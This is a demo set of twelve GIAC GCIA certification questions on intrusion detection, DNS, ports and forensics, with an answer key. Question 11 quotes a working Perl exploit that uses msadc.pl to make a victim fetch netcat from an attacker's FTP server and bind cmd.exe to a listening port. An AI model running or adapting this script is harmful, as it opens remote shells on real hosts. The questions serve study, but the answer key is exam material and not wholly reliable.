
**Vendor:**GIAC

**Exam Code:**GCIA

**Exam Name:**GIAC Certified Intrusion Analyst

**Version:**Demo

**QUESTION 1**

Session splicing is an IDS evasion technique in which an attacker delivers data in multiple smallsized packets to the target computer. Hence, it becomes very difficult for an IDS to detect the attack signatures of such attacks. Which of the following tools can be used to perform session splicing attacks? Each correct answer represents a complete solution. Choose all that apply.

A. Nessus

B. Y.A.T.

C. Whisker

D. Fragroute

Correct Answer: AC

---

**QUESTION 2**

Which of the following is the process of categorizing attack alerts produced from IDS?

A. Site policy implementation

B. Blocking

C. Intrusion classify

D. Alarm filtering

Correct Answer: D

---

**QUESTION 3**

Which of the following is an example of a social engineering attack?

A. Phishing

B. Man-in-the-middle attack

C. Browser Sniffing

D. E-mail bombing

Correct Answer: A

---

**QUESTION 4**

Rick works as the Network Administrator of Baby Blue Inc. He wants to upgrade the existing network to the Active Directory based Windows 2000 network. He configures a DNS on the network. Which of the following is the primary

reason that the DNS is required in an Active Directory environment?

A. Without installing the DNS, you cannot install the Active Directory in the network.

B. Netlogon uses the DNS to find a domain controller in the network.

C. The Active Directory uses the DNS zone transfer protocol during replication.

D. The Active Directory is stored within the DNS database.

Correct Answer: B

---

**QUESTION 5**

Which of the following techniques allows probing firewall rule-sets and finding entry points into the targeted system or network?

A. Network enumerating

B. Packet collision

C. Distributed Checksum Clearinghouse

D. Packet crafting

Correct Answer: D

---

**QUESTION 6**

Which of the following is the default port for Simple Network Management Protocol (SNMP)?

A. TCP port 110

B. TCP port 25

C. TCP port 80

D. UDP port 161

Correct Answer: D

---

**QUESTION 7**

You work as a professional Computer Hacking Forensic Investigator. A project has been assigned to you to investigate Plagiarism occurred in the source code files of C#. Which of the following tools will you use to detect the software plagiarism?

A. VAST

B. Jplag

C. SCAM

D. Turnitin

Correct Answer: B

---

**QUESTION 8**

Which of the following protocols is used by e-mail servers to send messages?

A. SNMP

B. FTP

C. POP3

D. SMTP

E. HTTP

Correct Answer: D

---

**QUESTION 9**

Which of the following techniques is used to identify attacks originating from a botnet?

A. IFilter

B. BPF-based filter

C. Passive OS fingerprinting

D. Recipient filtering

Correct Answer: C

---

**QUESTION 10**

Which of the following is computed from an arbitrary block of digital data for the purpose of detecting accidental errors?

A. Hash buster

B. Firewall

C. Checksum

D. Hash filter

Correct Answer: C

---

**QUESTION 11**

Adam, a malicious hacker performs an exploit, which is given below:

######

##################################################################### $port = 53; # Spawn cmd.exe on port X

$your = "192.168.1.1";# Your FTP Server 89

$user = "Anonymous";# login as

$pass = \\'noone@nowhere.com\\';# password

######

##################################################################### $host = $ARGV[0]; print "Starting ...\n";

print "Server will download the file nc.exe from $your FTP server.\n"; system("perl msadc.pl -h $host -C \"echo

open $your >sasfile\""); system("perl msadc.pl -h $host -C \"echo $user>>sasfile\""); system ("perl msadc.pl -h

$host -C \"echo $pass>>sasfile\""); system("perl msadc.pl -h $host -C \"echo bin>>sasfile\""); system("perl msadc.pl -h $host -C \"echo get nc.exe>>sasfile\""); system("perl msadc.pl -h $host -C \"echo get hacked. html>>sasfile\""); system

("perl msadc.pl -h $host -C \"echo quit>>sasfile\""); print "Server is downloading ...

\n";

system("perl msadc.pl -h $host -C \"ftp \-s\:sasfile\""); print "Press ENTER when download is finished ...

(Have a ftp server)\n";

$o=; print "Opening ...\n";

system("perl msadc.pl -h $host -C \"nc -l -p $port -e cmd.exe\""); print "Done.\n"; #system("telnet $host $port"); exit(0);

Which of the following is the expected result of the above exploit?

A. Opens up a SMTP server that requires no username or password

B. Creates a share called "sasfile" on the target system

C. Creates an FTP server with write permissions enabled

D. Opens up a telnet listener that requires no username or password

Correct Answer: D

---

**QUESTION 12**

You work as a Network Administrator for NetTech Inc. The company has a Windows Server 2008 domain- based network. The network contains four Windows Server 2008 member servers and 120 Windows Vista client computers. You are implementing a caching-only DNS server on one of the member servers. Your assistant wants to know about the caching-only DNS server. Which of the following statements about the caching-only DNS server are correct? Each

correct answer represents a complete solution. Choose three.

A. It hosts zones and authoritative for a particular domain.

B. It reduces the amount of DNS traffic on a Wide Area Network (WAN)

C. It is useful at a site where DNS functionality is needed locally but there is not a requirement for a separate domain for that location.

D. It performs queries, caches the answers, and returns the results.

Correct Answer: BCD